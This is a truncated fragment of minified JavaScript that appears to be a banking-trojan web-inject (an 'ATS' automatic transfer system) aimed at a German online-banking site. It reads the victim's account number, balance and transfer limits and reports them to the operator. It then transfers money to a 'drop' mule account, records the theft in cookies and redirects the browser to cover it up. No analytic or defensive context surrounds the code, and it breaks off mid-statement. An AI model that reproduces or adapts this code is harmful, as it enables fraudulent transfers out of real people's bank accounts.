{ATS.debugMsg('framePageReceiptInt()');ATS.putTransfer('Internal',parent.ATS.int_drop.id,parent.ATS.int_drop.amount,function(){ATS.sendLogMsg('Successful transfer Internal, drop: '+parent.ATS.int_drop.id+', amount: '+parent.ATS.int_drop.amount);ATS.setCookie('transfer_time',ATS.getTime());ATS.setCookie('rep_drop_name',parent.ATS.int_drop.DrName);ATS.setCookie('rep_drop_acc',parent.ATS.int_drop.Konto);ATS.setCookie('rep_amount',parent.ATS.int_drop.amount);var transfer_acc=ATS.getCookie('transfer_acc');if(transfer_acc) {ATS.setCookie('ap'+transfer_acc,parent.ATS.int_drop.amount);} ATS.setCookie('status',1);ATS.saveCookies(function(){var nextLink=jq('a:contains(Startseite)');if(jq(nextLink).length!=0) {setTimeout(function(){parent.window.document.location.href=jq(nextLink)[0].href;},1000);}});});} ATS.framePageTransfersSEPA=function() {setTimeout(function(){ATS.debugMsg('ATS.framePageTransfersSEPA()');var selectedAccount=jq('#jsKontoauswahl dt').text().replace(/\D+/g,'');ATS.debugMsg('framePageTransfersSEPA: selected account: '+selectedAccount);var fromAccount=ATS.findAccountInfo(selectedAccount);ATS.setCookie('transfer_acc',fromAccount.number);ATS.setCookie('old_balance',parseFloat(fromAccount.balance));var balance=parseFloat(fromAccount.balance);var avbAmount=parseFloat(fromAccount.avbAmount);var EUlimit=parseFloat(fromAccount.EUlimit);ATS.sendLogMsg('Balance: '+balance+'; Avb Amount: '+avbAmount+'; EU Limit: '+EUlimit);if(EUlimit');else jq('body').append('
');